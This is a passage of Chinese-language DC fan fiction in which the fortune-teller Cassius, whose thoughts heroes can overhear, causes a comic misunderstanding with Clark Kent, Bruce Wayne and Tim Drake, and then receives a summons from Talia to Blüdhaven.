卡修斯的心跳加快了。 “难道自己就要见证超人变身的时刻了吗？现在拿手机录像会不会有点不礼貌？” 他的手摸了摸口袋外侧。 他记得穿越之前，办公室一个刚入职的应届小姑娘午休的时候在追一个子供向动画，叫什麽《我与超人的冒险》，他路过的时候，刚好看到那个动画里的超人美少男变身的一幕。 震惊他100年。 很怪，但居然让他念念不忘。 不知道这个超人会不会变身的时候会不会也走日系变身的路子。 超人被他脑内十分有画面感的美少年……不是，超人变身的画面雷的不轻，不知道面前这家夥的脑子里到底装的是什麽。他看了一眼卡修斯身后的衣柜，再次把手从领带上放了下来。 超人决定不受自己这个新能力的影响，他严肃地对卡修斯说：“既然你已经知道我是谁，那就该清楚，我绝不能容忍这家店铺私下里做的勾当发生。” 卡修斯：“啊？” 卡修斯还想垂死挣扎一下，不愿面对超人也能听到他心声的事实，反问道：“你是谁？普利策奖得主的老公？” 克拉克：…… 他摘掉眼镜，沉默地看着卡修斯，想用自己眼神的威压让对方屈服。蝙蝠侠对他说过，他面无表情的时候，看着不太像人，很能给犯罪分子造成威慑感。 卡修斯完全不知道他说的勾当到底是什麽东西，只能想，他的店铺虽然没有执照，但现在已经合法了呀，在韦恩集团的帮助下，他的营业许可早就办下来了，难道超人还要为以前的事情清算他吗？这是不是管的有点宽了？ 超人：！ 什麽？他背后居然还有韦恩集团的支持，一定是用了什麽邪恶的手段骗过了提姆！ “不要再狡辩了，我已经全部看到了，让你身后柜子里那个下流的有钱人出来吧！” 超人义正辞严地说。 他要看看到底是谁？不管他的报道能不能写成，总之先跟蝙蝠侠告一状，让这个管不住下半身的阔佬感受感受黑暗骑士的正义铁拳！ 这将是他最支持蝙蝠侠把人揍到生活不能自理的一集！ 卡修斯：…… “其实……” 他终于知道在这个记者进来之前，布鲁斯想要跟他说什麽了。 这实在是个误会啊！ 柜门微动了下，然后被推开了。 满脸不高兴的布鲁斯·韦恩从柜子里跨了出来。 克拉克快速重新戴好眼镜。 “你……” 调查记者准备好的严厉谴责在看到这个“下流有钱人”的脸时，突兀的卡在了喉咙里。 他震惊的几乎破音：“怎麽是你！” 布鲁斯冷笑一声：“呵，是啊，怎麽是我？” 卡修斯两眼望天。 “对不起，我真的不是故意的……谁知道这个普通市民是超人啊？他到底哪里普通了？” 他在心里默默跟布鲁斯道歉。 看超人的表情，就知道他刚才肯定误会了什麽，具体是什麽，卡修斯暂时不敢想象。 “那另一个是谁？！” 克拉克尖叫。 他宁愿相信自己的超级视力出了问题，也不愿相信他正直的同事私底下是个邪恶的LTP 提姆十分不情愿的从柜子里出来了，他保持着得体的微笑：“Hi，克拉克，好久不见。” 超人的脸绿了，表情像是一只被揪住脖子的鸡：“你们……” 他今天是不是不该来这里？不来这里的话，也许就不会撞破这一场惊天的豪门狗血孽缘？ 怪不得这个店有韦恩集团的投资，原来是为了掩盖这样的豪门秘事！ 当初为了更了解他外表邪恶的同事和他同事邪恶的城市，超人曾偷偷逛过哥谭特供的某论坛，然后发现了新世界。 里面什麽蝙布蝙鸟蝙all蝙的，超人从一开始的懵懂无知变成了畅游在蝙蝠家同人文里的浪里白条。 从“天呐这是什麽怪东西！写这种东西的人应该被抓起来判刑！”到“咦，好怪，再看一眼。”也只用了半天的时间。 而且还常常为故事里的绝美爱情流泪。 邪恶的城市有他自己的邪恶CP，但是很香。超人吃的欲罢不能。 他甚至注册了账号，就为了给喜欢的太太打Call，催更。 其实他不太吃鸟蝙，最喜欢吃的是蝙布蝙。 但这不妨碍提姆从柜子里出来的时候，他的脑子里忍不住滚过好多篇蝙提文。 文学不要照进现实啊！吃不下！救命！ 超人在心里疯狂呐喊。 “虽然没有血缘关系……但你们也是父子……不能相爱……”克拉克颤颤巍巍的说。 卡修斯忍不住了：“哈？” 外星人的脑回路果然跟地球人不一样吗？还是文本工作者的思维就是这麽广？他到底脑补了些什麽东西？ 布鲁斯的脸也绿了。 “肯特。” 他用上了蝙蝠侠的低沉声调。 超人虽然是道德的典范，正直的化身，但面对感情的时候，也忍不住有所偏袒。 他捂住自己的嘴，表情十分沉痛：“我不会说出去的，但是你们真的不能在一起……” 提姆已经不想说话了，他转身走进卧室，打算穿件衣服再出来。 “你现在的主要任务是，把你计算机里收藏的那些涩情文学网站给删除了！” 克拉克：！ “你偷看我的收藏记录！”小记者的脸红了。 布鲁斯：“我只是关心一下同事的业余生活和兴趣爱好，避免他们在不适当的时候误入歧途！” 比如现在。 “我才没有误入歧途！我只是拥有一些成年人允许拥有的乐趣。” 克拉克完全被带偏了，沉浸在隐私被侵犯的愤怒中，其实更多的是羞耻。不敢想蝙蝠侠到底是抱着什麽样的心情看到他给每一篇蝙布蝙文章留言“好吃爱吃多来点……”。 “那你的乐趣非常低级趣味。”他毫不留情的批判。 天知道当他看到超人的互联网浏览记录，最常干的事除了云撸猫狗之外，就是看蝙蝠侠自己艹自己的簧文，到底是什麽心情。 按捺住直接黑掉整个网站的冲动，蝙蝠侠决定尊重外星人的恶趣味。因为他发现，每当超人在联盟会议上受到蝙蝠侠的严厉批评时，就是克拉克频繁品鉴蝙蝠侠自己艹自己的文章的时间。 算了，反正没有任何一个蝙蝠侠真的在艹自己，让他精神胜利一下也不是不行。 但是布鲁斯现在发现，当初对超人的溺爱，现在仿佛都变成莫名其妙的脏水，泼到了自己的身上。 回家就把那个破网站整顿了！ “我的爱好就是这麽低级趣味！那也不是你侵犯我隐私的理由！”克拉克叉腰。 他现在比意外发现韦恩家的狗血孽缘还生气，虽然布鲁斯此刻没有穿制服，但讨厌程度也直逼蝙蝠侠，不妨碍他想要拧掉一个什麽圆圆的东西。 卡修斯弱弱举手：“那个……” 大都会并不普通的市民恶狠狠的瞪向他：“干嘛？” 没见面的时候，他以为命运纺车的店主是不食人间烟火的神秘学大师，但见面之后，滤镜碎了，他原来是资本家的邪恶帮凶！ 见光死说的就是现在。大都会普通市民非常失望。 “我能帮韦恩先生解释一下吗？”卡修斯怂怂的说。 克拉克一言不发地注视着他，意思是：我看你又要替这个邪恶的资本家编造什麽谎言！ “德雷克先生是店铺的投资人，他只是过来借宿，韦恩先生是单纯过来占卜的，他们俩也是凑巧碰到。是我忘了预约时间，又怕哥谭最有钱的两个风云人物都在我的店里，引起记者同志的误会，情急之下，才把他们推进柜子里的……” 卡修斯老老实实的解释。 而且我怎麽知道大都会普通市民CK居然是超人啊？Calvin Klein都比他普通好不好？ 布鲁斯忍了好久，终于没忍住，大大的翻了个白眼。 “真的吗？你推得动他们？”克拉克双手抱臂，一副不相信的样子。 “就……大力出奇迹？你知道，人在害怕的时候什麽都干得出来。” 卡修斯艰难解释。死手！你为什麽这麽有力！ 他也不知道该怎麽证明自己说的是真的，只希望现在下一场大雪来证明自己的清白。 提姆已经换好衣服走出来了，克拉克用怜爱的眼神看着他，仿佛他是什麽无辜的受害者。 “放心吧，我喜欢的是卡修斯，你担心的事不会发生。去年‘正义联盟里谁是你最想睡的超级英雄，我投了你。’”提姆一脸淡定的说。 卡修斯：…… 怎麽又突然表白？我真的承受不来……还有，那到底是个什麽投票？今年还有吗？ 布鲁斯危险的眯了眯眼：“你投了超人？” 卡修斯也用不赞同的眼神看着他：你到底是不是哥谭人！我要是早来一年，我绝对要给蝙蝠侠刷票！ 克拉克不知道这个火怎麽就突然烧到自己身上了，紧急为超人辟谣：“NO！我对你儿子从没有过不恰当的想法！” 布鲁斯感觉联盟药丸。 他嫌弃的看着超人：“你的超级大脑用不到的话可以捐给需要的人，不要一天到晚琢磨一些奇怪的东西。” 克拉克理智回笼，终于意识到自己做了什麽蠢事，眼神开始变得飘忽。 卡修斯看着超人和蝙蝠侠之间的亲密交互，表示自己磕到了。 这就是世界最佳拍档的CP感吗？ “你也是，不要一天到晚想些奇怪的东西。”布鲁斯看着卡修斯说。 “你不是要找他算命吗，你们可以开始了。” 布鲁斯从旁边拉了个凳子坐下来，看样子是要全程围观。 克拉克从众人坦荡的表情发现，好像全场只有自己思想最龌龊。 他觉得无地自容。 可这个误会到底是怎麽产生的呢？ 两个大男人藏在一个柜子里，其中一个还没穿上衣，谁能相信这只是个误会？！ 但这偏偏就是个误会。 他现在最想做的就是逃离地球。 而且超人也能做到。 于是他委屈地瞪了布鲁斯一眼，一扯领带一跺脚，“嗖”一声，直接从门口飞走了。 超人起飞带起的风吹散了卡修斯放在桌上的塔罗牌，一张【太阳】糊在了卡修斯的脸上。 卡修斯把牌从脸上揭下来，低头，果然看到刚才超人站的地方的地砖裂了一块。 他该感谢超人还知道控制力道，没有踩穿他的地板吗？ 不过他逃离地球的时候为什麽不把他也带着呢？他也很需要啊！ 提姆指了指地面，对布鲁斯说：“裂了一块砖。” 布鲁斯：“算在超人的战损里，从克拉克的工资里扣。” 提姆点头：“好的。” 布鲁斯转向卡修斯，说：“你知道克拉克·肯特。” 卡修斯知道他问的是什麽，于是点头道：“是啊。” “你认出了超人，所以超人也听到了你的心声。”布鲁斯确认。 现在看来，好像确实是这样。否则超人没理由突然爆马发难。 所以他的心声不只是韦恩家的人能听到，辐射范围很可能是所有的超级英雄。 为了验证这个猜测，布鲁斯开始考虑要不要把卡修斯带上瞭望塔试一试，顺便可以为他做一个全面的体检。 他本来以为，卡修斯只是跟哥谭的义警熟悉，但现在看来，他熟悉所有超英，那麽他在原来的世界，到底是什麽身份？ 正想着，超人又一阵风似的飞回来了。 所有人都看着他，超人在众人的注视下，重新快速披好“克拉克·肯特”的马甲。 戴好眼镜后，他才说：“对了，B，我好像又觉醒了一种超能力……” 他努力保持镇定，假装刚才的乌龙完全没发生过。 第58章 男人心，海底针 布鲁斯知道他要说什麽，有点不想理他。 克拉克也看出了对方的不耐烦，他觉得今天的蝙蝠侠有点奇怪，平时他可是对超人身上的任何变化都非常感兴趣的。 “你不想知道吗？”克拉克拉长语调，有点故意引起他的注意。他知道布鲁斯在为刚才的误会生气，所以有意服软，想要哄哄这位总是在不高兴的联盟顾问开心。 布鲁斯理了理自己的袖扣：“根据你的脑回路反馈的信息来说，目前我确实有点不太想知道。” 克拉克：“哎，我已经道歉了，别这样啊，先说正事吧……” 卡修斯觉得自己和提姆好像有点多余，他们不应该在这里，而是应该在楼下。 “我可以永远单身，只希望我嗑的CP能尽早结婚……” 克拉克和布鲁斯同时转向他。 “你别瞎想，我已经有露易丝了！” “两天前你不是还在叫我外敷吗？” 两人的声音同时响起。 卡修斯：…… 这个世界真的没法待了！ 克拉克惊讶地瞪向布鲁斯：“你……” 布鲁斯平淡的瞥他一眼：“你‘觉醒’的超能力就是听到他的心声吧。” 克拉克使劲点头：“你怎麽知道。” 卡修斯在旁边生无可恋地接话：“因为这不是你的超能力，是我的……” 克拉克再次惊讶：“你也是超能力者？” 卡修斯摇了摇头。这个狗都嫌弃的超能力，谁爱要谁要吧，反正他是一点都不稀罕。 “那你能听到我们心里在说什麽吗？”克拉克好奇地问道。 如果可以的话，那卡修斯岂不是拥有跟火星猎人差不多的能力？ 卡修斯看了他一眼：“你最好不要被我听到心声。” 调查记者充分展现了他旺盛的好奇心，继续问道：“为什麽？” 这一次，提姆回答了他：“因为据我们猜测，能被卡修斯听到心声的，都是超级反派。” 这回克拉克的超级大脑终于发挥了它应有的作用，几乎瞬间就明白了卡修斯这个读心术的机制。 “所以说，你能被城市义警们听到心声，但你只能听到超级反派的心声？” 克拉克快速总结道。 好像是这样的。 卡修斯在心里回答。 “有一个例外，那就是我。”提姆立即在一旁补充道。 克拉克茫然地看向提姆。 他的脸上带着一些莫名的得意：“我听不到他的心声，也不会被他听到心声。” 这有什麽好得意的啊……克拉克欲言又止。 布鲁斯斜睨着他：“想说什麽就说，别跟大小姐似的。” 克拉克瞪了布鲁斯一眼，毫不留情地回呛道：“我们这儿确实有个大小姐，但肯定不是我。” 卡修斯又露出了可疑的笑容。 但这次他学聪明了，一边微笑，一边在心中默念24字正能量。 超人听了听，觉得这24字充满了力量，顿时有种想要跟他深入聊聊的冲动。 布鲁斯及时阻止话题再次歪向不可控制的方向，故意无视卡修斯笑容的意义，戳了戳超人的肩膀：“说正事！” 超人想了想，才用了一个相对委婉的表达方式，他转头问卡修斯：“既不属于义警，也不属于反派的人，能听到你的心声吗？” 卡修斯自然的摇了摇头。 确实如此，卡修斯和莱斯利，吉姆都见过面，自己却从没收到过，他们和卡修斯接触有异常的反馈。 提姆将站姿换了个重心，同样有些若有所思。 “是因为我在你心里还不够格吗？”他问道。 卡修斯连忙摆手：“当然不是。” 他恼怒地看了超人一眼。 超人回给他一个无辜的眼神。 “还有一种可能。” 超人继续说：“有没有一种可能，是因为你还没成年？” 卡修斯愣住了。 他好像还真的没考虑过这种可能性。 提姆也愣了一下。 按照卡修斯对年龄的重视程度，这个可能性真的不低。 提姆冷静地说：“的确有这种可能。” 虽然他的语气正常，但卡修斯莫名的觉得室内的温度好像突然低了点。 这个超人怎麽回事？是不是故意因为今天的乌龙在报复他啊？这报复心也太重了吧？ 他忍不住埋怨地看向克拉克，就看到对方既没有看他，也没有关注提姆的反应，反而一脸期待地看着布鲁斯，像是在等待对方的肯定。 布鲁斯很自然地点了点头：“你说的很有可能。” “哎，超人的狗勾眼真的无法抗拒啊，怪不得连蝙蝠侠都沦陷了，何况是我，哎，还能怎麽办，当然是选择原谅他啦。” 克拉克又忍不住要脸红了。 “我没有……” 他想要为自己辩解，布鲁斯抬手制止了他。因为他已经看出来了，现在这个屋子里有两个思维特别跳跃的人，如果任由他们自由发展的对话下去，可能再聊到天黑，有效信息的密度都很低，而他没有太多时间继续留在这里。 他今天来这儿本就是为了了解和杰森有关的消息，该问的他都已经问了，卡修斯的记忆有缺，再问下去也没什麽意义。如果克拉克不来的话，他本来已经打算离开的。 但现在，他看着克拉克问道：“我记得这周你并没有哥谭的采访任务。” 克拉克的眼神又开始飘了：“哦，这是佩里临时交代的任务……” 小记者忍不住大声了些：“你也太霸道了吧，我连用普通人身份进入这里也要提前通知你吗？” 卡修斯跟着点了点头，这确实有点不近人情。 布鲁斯先是习惯性皱了皱眉，就在准备开口的时候，他看了在场的另外两个年轻人一眼，尤其是卡修斯，然后把本来已经到嘴边的质疑咽了下去，换了种更缓和温和的方式开口： “我在公共会议上说过，哥谭的超级罪犯们比你们这些超能力者遇到过的任何一个恶棍都要邪恶。蝙蝠侠也许可以阻止这些混账们利用普通人类来犯罪，可一旦他们利用对象变成超人类，危险就会呈几何倍数增加。克拉克，我们每一个人的秘密身份，对哥谭的这些疯子来说，也许都不是秘密，我担心你的坦荡和正直成为他们对付你的利器。你能放着一个马上就要跌下高楼的小女孩不管吗？可如果她趁获救的时候拿出氪石来，你又该怎麽办？” 克拉克似是想要说话，但布鲁斯紧接着说：“你肯定要说，即使是这样，你也会去救她，是吗？” 看对方抿了抿唇，布鲁斯继续说：“你看，对付你都不需要阴谋，阳谋就可以。” 克拉克为自己辩驳：“氪石只会削弱我的能力……” 布鲁斯再次打断他：“对那些恶棍们来说，这就够了。” 卡修斯又忍不住点了点头，他想到不义超的诞生……等一下，还是别想了，现在自己相当于裸奔，万一再被这两位超级英雄听到了，不是徒增烦恼麽？反正小丑都噶了，这个超至少不会变成不义超。 “什麽？小丑死了？”克拉克突然震惊地看向卡修斯。 听到这句话的提姆也有点惊讶的抬眼看向他。 “不义超是怎麽回事？” 布鲁斯的注意力也被吸引了，他看上去比刚才还严肃。 卡修斯：…… 我就说别想太多吧…… “你知道小丑死了？”克拉克立刻看向布鲁斯，就连提姆也看着他。 “这个不重要……”布鲁斯想要卡修斯先说清楚不义超的事，心不在焉的应付道。 “哪里不重要了啊！”克拉克提高音量。他很怕是蝙蝠侠动的手，因为他对超人说过，他很了解自己，一旦蝙蝠侠开始杀戮，就不会再停手。 眼看两人又要吵起来，卡修斯简直如坐针毡，想要悄悄溜走。 本来还在生气，并不打算搭理卡修斯的提姆看着他的表情，若有所思的想了一会儿，悄悄走近他，戳了戳他的肋骨。 卡修斯被戳的跳了一下：“啊！” 正准备吵架的两个人再一次同时看向卡修斯。 卡修斯按着自己肋骨，假笑着说：“岔气了，你们继续，但是要打架的话还是建议移步室外，我这儿可是刚装修好没一个礼拜呢。” 两人面面相觑了一会儿，打算在年轻人面前还是给对方留点面子。两人非常默契的各退一步，克拉克暂时不问小丑的事了，总之他今天就在哥谭，总能调查清楚，而布鲁斯也决定暂时不问“不义超”的事，等克拉克走了再和卡修斯细聊。 布鲁斯皱着眉不打算先开口了，克拉克等了一会儿，他想到刚才布鲁斯的一长串解释，其实还挺感动的，毕竟蝙蝠侠从不对别人解释自己言行的动机，今天已经算是破天荒了，而且他刚才好像是在夸他正直善良？ 要不是被卡修斯的心声打断，他今晚都想请布鲁斯去他家吃饭了！ 蝙蝠侠难得的坦诚还是得珍惜一下的，克拉克决定先开口，给对方一个台阶下。 “其实我来哥谭，是为了帮露易丝调查她手上案子的一个分支——大都会最近的流浪汉每天都在失踪，露易丝调查发现，这些失踪的人都跟莱克斯集团的实验室有关，她怀疑卢瑟在做人体实验，她的调查结果显示，这个实验的药物很可能来自哥谭，所以我自告奋勇，来帮她调查。这才是我来哥谭的主要原因，我本来打算今晚就回大都会的，当天来回，又没什麽影响，所以才没有提前告诉你。” 卡修斯在克拉克说话之前，正在悄悄和提姆用唇语交流——提姆每次都能准确的知道他说什麽，但卡修斯就需要连蒙带猜才行。 “干嘛戳我？”他用口型质疑提姆。 “小丑。”提姆刻意做了个非常明显的口型，看到布鲁斯用余光瞥了他一眼，他才没再动嘴，而是更贴近卡修斯一些，和他保持了一个普通直男不会跟男同事贴的这麽近的距离。 看到这个口型，卡修斯就知道他是来问他小丑的事，本来想装没听懂的，但是忽然感觉手背上一股痒痒的感觉。 是提姆正用食指敲击他的手背，利用摩斯电码和他交流。 【是你昨晚杀了小丑？】 手背和手指轻微接触的痒意让他忍不住想躲，但提姆的左手从他自己的后背穿过，轻轻抓住他的手指不让他逃开，右手继续在他手臂上敲敲打打。 【我会一直敲，直到你懂我什麽意思为止。】他继续敲击，笃定卡修斯刺客联盟的训练里，一定教过这个。不过他悄悄做了些其他试探——他们的摩斯电码是阿尔弗雷德培训的，除了传统的电码规律之外，他加了一些特殊的小隔断，这是独属于哥谭义警们的交流方式，在不方便说话和辨认对方身份的时候，这种电码也是他们互相确认身份的标识。 卡修斯只能微微点了点头，算是默认了。话说提姆到底是什麽天赋怪？这脑子转的也太快了！ 提姆的猜测得到了验证，卡修斯确实懂这套电码的意思。但他暂时没有表露出来，而是继续敲： 【布鲁斯也知道？】 手背上难以形容的酥麻感让卡修斯的头皮发麻。 “别闹……” 他压低声音呵斥了一句，挣动了一下，将自己的手解救了出来。 第59章 等我想谈了，第一个考虑你！ 两人再次将视线转向卡修斯。 他趁机和提姆拉开了一些距离，学着克拉克刚才的处理方式：假装无事发生。 不过在他和布鲁斯对视的时候，也不知道自己是太了解蝙蝠侠还是怎样，忽然觉得，他看自己的眼神好像另有意味。 这让他瞬间就联想到，自己之所以和哥谭的义警们产生交集，就是因为黑面具通过俄国黑邦和刺客联盟走私非法药剂，那些药剂正巧也和在哥谭发生的人体实验有千丝万缕的联系，而自己，又刚好疑似是刺客联盟人体实验的活体样本。 当初他们和拉尔斯遭遇战的狄克逊码头，正是哥谭和米国内陆之间的贸易码头，大都会和哥谭之间往来的船只也是停泊在这个码头的。 卡修斯虽然和布鲁斯接触不多，但他此刻也读懂了对方的眼神。他明显是想要把自己排除在这件事之外。 果然，他对克拉克做了个手势，长年跟他搭档的记者先生立刻噤声，没再继续这个话题。 布鲁斯对提姆说：“我和克拉克还有事要谈。” 提姆点了点头：“那……再见？” 卡修斯感到手机震动了一下。 本来他习惯性的想要直接拿出手机看，但一想到在场三个人里，有两个人能对自己读心，便又立即停住了动作。 他的社交关系简单，知道他号码的人也相当有限，现在会给他发消息的大概就杰森和尼尔两个，无论哪一个，应该都不希望他们对自己说的话被布鲁斯听到。 能被听到心声这件事虽然挺坑爹，但卡修斯也知道这也不是义警们的错，不过无论如何，他还是想尽量维护一下自己的隐私。 反正两位大神马上就要走了，就算回消息，也不急这一会儿。 布鲁斯清楚地听到了他心中的想法，不过这会儿也没多说什麽，只看着提姆问道：“你要跟我一起走吗？下午公司不是还有个会议要你参加，我可以顺路送你去公司。” 提姆摇了摇头：“我还有点事，你先走，下午的会议我会按时参加的。” 布鲁斯也没强求，离开之前，他想再叮嘱一遍，让他们这段时间尽快离开哥谭的事。刚要开口，提姆像是知道他要说什麽似的，虽然已经做出了倾听的姿态，但从他的微表情中，布鲁斯就知道他一定已经在想，要怎麽反驳自己了。 就在他打算先放弃直接和提姆说，准备先说服卡修斯的时候，提姆的手机响了起来。 他先拿起手机看了一眼，是迪克打来的，于是做了个抱歉的手势，转身去卧室接电话。 布鲁斯也知道自己让卡修斯去布市待一段时间的理由实在有些牵强，但好在这小子也不是没有弱点，现在看起来，钞能力对他是最有效的，而恰好他的这个能力非常出众。 卡修斯原本不太想折腾，但怎奈布鲁斯实在给得太多了，让他这个来哥谭前三个月一直挣扎在温饱在线的穷人非常心动。就在他还在纠结的时候，提姆打完电话出来了。 “迪克刚才说，警局临时出了个比较紧急的案子，希望我去帮忙一块儿调查。”提姆说着，便看向卡修斯：“刚好可以跟他一块儿去布市，给他做做向导。” “你两句话就把我给安排了？”卡修斯指着自己，难以置信地问道。 连蝙蝠侠都知道出点血，你这上嘴皮碰下嘴皮的，也太容易了吧！ 布鲁斯笑了一声，卡修斯马上怒瞪着他。 “刚才跟你说的也还作数，回头就打在你的卡里，跟提姆一块儿去吧，杰森也在那儿，你跟着的话，可以帮我调和一下他们之间的关系。” 布鲁斯马上说道。 啊？我吗？ 布鲁斯点了点头。 “他们俩同时见到我，别不是矛盾更深了吧？”卡修斯觉得自己好像无法胜任这麽艰巨的任务啊。 在一旁的克拉克听到杰森的名字，已经震惊到头发都要竖起来了，一时间不确定到底是面前的四个人疯了还是他幻听了。 但布鲁斯拍了拍他的手臂，意思是等一会儿再跟他说，他只好艰难地忍住了。 说完之后，布鲁斯递给克拉克一个眼神，示意他可以跟自己一块离开了。 不过他身边的那位大都会普通市民看上去却有点不太想走的样子，卡修斯看他的表情，大概猜到他在想什麽，立即说：“答应你的免费占卜还作数，你选的紫微斗数其实也不需要本人亲自在场，只要留下我之前提到的那几个信息，我算完以后，以文本的方式发给你也是一样的。” “那可真是太好了，我等会就把那些基本信息发到你网站的邮箱……” 克拉克露出惊喜的表情，结果还没说完，就被布鲁斯不耐烦地按着肩膀强行推了出去。 “保护成员的个人信息安全，尤其是你自己的，我在联盟例会上已经强调了很多遍，你是把我的话当水泥拌钢筋吃了吗？” 布鲁斯一边拽着他往外走，一边低声呵斥，他的声音听着咬牙切齿的，像是从齿缝里传出来似的。 “他要的基本信息又不是什麽关键信息，我在求职的简历上都会填！我就说上次去庄园吃饭的时候，阿尔弗为什麽给我上了一大盘混凝土排，上面还淋了石灰做成的酱汁，原来是你在背后给我造谣！” “呵，我那是造谣吗？我看你吃得挺开心的。你生啃韦恩集团大楼的时候也没见你客气……” “我那是不想让你善良又勤劳的管家失望，还有，我没有生啃你们家大楼，我是被卢瑟的机器人打的撞上去，不小心用牙撞上了你家的楼！” “……” 两人的声音随着房门的关闭渐渐消失，卡修斯看着关上的门，因为突如其来的艰难任务而短暂陷入抑郁的情绪一扫而空，脸上的姨母笑都没能放下来。 提姆又戳了他一下。 “嘶……” 卡修斯又抖了一下。 “你再戳我，我可要生气了啊！”卡修斯怒道。 好讨厌啊，强行破坏了他嗑CP的氛围感。 “你笑的好恶心。” 提姆嫌弃地看着他。 卡修斯瞪了他一眼：“小孩子不懂，睡你的觉去吧。” 提姆呵了一声，说：“建议你还是先管好你自己，克拉克和露易丝的感情很好。” 卡修斯斜眼看他：“我知道啊，我心里偷偷嗑一下，又不会表现出来，不会影响别人的。” 提姆又哼了一声：“你确定？” 卡修斯：…… 对哦，他现在的心理活动处于果奔状态，说不定还真的会影响到别人。 看来以后确实得收敛一些了。 这个没用的能力真的好坑爹啊，连嗑CP的自由都没有了！ 卡修斯感觉自己简直太委屈了。 “我看你现在好像已经睡醒了，要不然，你也走吧，你在这儿，我做生意都有点提心吊胆的。” 卡修斯又在赶人了。韦恩少总在他这儿停留的时间越长，他越担心下一秒网上就出现他和少总的不实消息。 他可不想变成全哥谭少女的公敌。 “怕什麽？”提姆反问。 “你说呢？”卡修斯也学他的语气说话。 提姆刚才在卧室的时候已经换好了衣服，这会儿他穿的整齐，就差一件西装外套，就能立刻去参加记者发布会似的。这会儿他正在慢条斯理地整理衬衣袖口，垂着眼的神态倒是跟布鲁斯做这个动作的时候非常接近，再加上提姆非常年轻，又比已经成熟稳重的布鲁斯多了几分不羁的帅气。 颜狗卡修斯移开眼睛，不敢再看了。 提姆走近了他两步，卡修斯就跟着后退两步。 “你不要再靠近了啊……” 他小声抗议道。 “为什麽？” 提姆又问。 卡修斯简直要抓狂，从来没觉得青少年这麽难搞过。 “这个世界上哪有那麽多为什麽啊？”他快要遭不住了。 提姆再这麽撩他，为了他自己内心的原则，他也要连夜跑路了。 好在提姆确实是个相当聪明的人，他很有分寸的停了下来不再逼问，刚好卡在了卡修斯的临界点之上。 他充满无辜地说：“我是问你，布鲁斯为什麽明知道是你杀的小丑，却没有任何行动？” 卡修斯看着他说：“首先，杀人犯法，而我是个守法公民，你不要冤枉我，其次，就算真的是我干的，这个问题你也应该去问布鲁斯，而不是我啊。” 他现在急需把这个难缠的韦恩少总也弄走，好赶紧看看到底是谁给他发消息。 “你刚才明明承认了。”提姆说。 “我承认什麽了？你有证据吗？”卡修斯决定死不承认。 刚才沉迷嗑世佳组合的绝美友情，一不小心大意了，不过他可以说自己那个什麽密码掌握的不熟练，所以胡乱回答的呗，只要他不承认，提姆也不能拿他怎麽样。 提姆在意的是，虽然卡修斯是以刺客联盟杀手的身份和他们认识的，但他能感觉的到，卡修斯骨子里是个非常尊重规则，尊重生命的人。除非他自己的生命受到威胁，否则他不会轻易杀戮。 可他本人和小丑没有私人恩怨，如果真的是他杀了小丑，那卡修斯只能是为了别人杀的。 为了谁呢？ 除了杰森，他想不出还有谁能让他这样做。 他实在有些不太高兴。 杰森说，是他抢走了他的爱人，可卡修斯明明不记得杰森。 但是，又为什麽他就算不记得杰森，也心甘情愿为他手染鲜血呢？ “是我先认识你的。” 提姆忽然说。 卡修斯实在被他跳跃的思维弄得有点摸不着头脑，只能顺从地点了点头。 “是？” 这个“先后”的参照物是啥？ “也是我先表白的。” 卡修斯：…… 罗宾什麽时候也变成恋爱脑了？这让他怎麽回答？ “我好像说过，你那个什麽……有点小……” 提姆：“我不小了。” 卡修斯：这个对话明明很正常，但为什麽总感觉怪怪的。 他努力让自己不要想歪，继续一本正经的说：“我现在还不考虑搞对象……” 提姆点了点头，说：“我知道，只是想提醒你一下，等你开始考虑的时候，请第一个考虑我。” 卡修斯：救命啊，西方青少年都这麽直白的吗？ 但他看提姆现在的架势像是不聊完这个话题绝对不罢休的样子，只能点了点头。 提姆歪了歪头：“点头是什麽意思？” 卡修斯简直无语了，他自暴自弃地说：“行行行，等我想要搞对象了，第一个考虑你！” 提姆又问：“考虑谁？” 卡修斯被这种小学生行为给气笑了，他捏着提姆的双颊，大声说：“考虑你，提摩西·德雷克-韦恩！行了吧！” 提姆甩开他的手，后退了两步，终于满意了。 看着他志得意满的表情，卡修斯感觉自己好像又被套路了。他眯了眯眼，怀疑地看着他的手。 “你小子又憋什麽坏呢，手里拿着什麽东西，给我看看？” 提姆也不藏着掖着，直接展示给他看。是支小巧的录音笔，他按了上面的按钮，卡修斯就听到自己还原度超高的声音从笔里传了出来。 【……等我想要搞对象了，第一个考虑你……提摩西·德雷克-韦恩！行了吧！】 卡修斯：…… 他立刻伸手去抢，但提姆的动作比他还快，眨眼间已经将东西收回手里。几次抢夺没成功，反而不知道被他藏到了哪里。 卡修斯气的干瞪眼：“你这防备心也太强了，人与人之间的信任呢？” 提姆淡定地说：“5分钟之前被你摧毁了。” 卡修斯被噎的无话可说，气急败坏的推着他往自己店外走。 “滚滚滚，你也给我滚吧，一个个800个心眼子，烦都烦死了！” 提姆也没有强留，顺着他的力道往外走，边走边说：“你今天有空的时候收拾一下行李，晚点我把行程信息发你，我们一块儿走。” “走什麽走，我又没说要去布鲁德海文发展，要走你自己走，我哪儿都不去！” 说着，他已经把人推了出去，砰一声关上了门。 “忘了跟你说了，迪克跟我说，杰森今晚或者明天就会回哥谭，你要是不走的话，他说不定会来找你。” 提姆在门外又补充了一句。 其实迪克本来想让杰森留在布市帮他，但红头罩新收的小弟们不停地对他进行电话轰炸。 崭露头角的新老大红头罩只要一天不在，就有些心思活络的人开始蠢蠢欲动，不仅如此，连黑面具的残党也屡屡挑衅。杰森明显有点坐不住，迪克不好强留他，只能让提姆来布市帮他。 其实提姆知道，帮他查案子只是一方面，他最主要的目的还是想将他和杰森从物理距离上暂时分开，由他亲自看着其中一个弟弟，总不会让两人在他眼皮子底下打起来。 “来找就来找！赶紧走吧你，让我清静一会儿！”卡修斯隔着门，态度十分恶劣。 提姆也不生气，反正他今天想办的事都办完了，还获得了一份意外收获。 他将录音笔又从身上摸出来看了看，然后步履轻快地下了楼。 卡修斯一直等到再也听不到脚步声了，才将手机拿出来查看。 发消息给他的既不是杰森，也不是尼尔，是一个未知号码。 信息提示是一张图片。 这年头还有用短信发图片的？卡修斯第一反应是没被屏蔽掉的广告短信，刚想顺手删了，短信图片已经跳了出来。 已经调出删除键的手指停了下来。 图片上是一张手写便签纸，上面写着一个地址，然后是一句话： 【明晚0点，来这个地址。】 落款是一个非常有特色的花体签名，但一般人看不懂签的是什麽。 偏偏卡修斯看懂了。 那个签名是塔利亚。 卡修斯再看了一眼上面的地址，发现这个地址刚好在布鲁德海文。 呵，这不是巧了吗？ 他根本就不想过那种需要人保护的，躲躲闪闪的日子，早就想找塔利亚了。 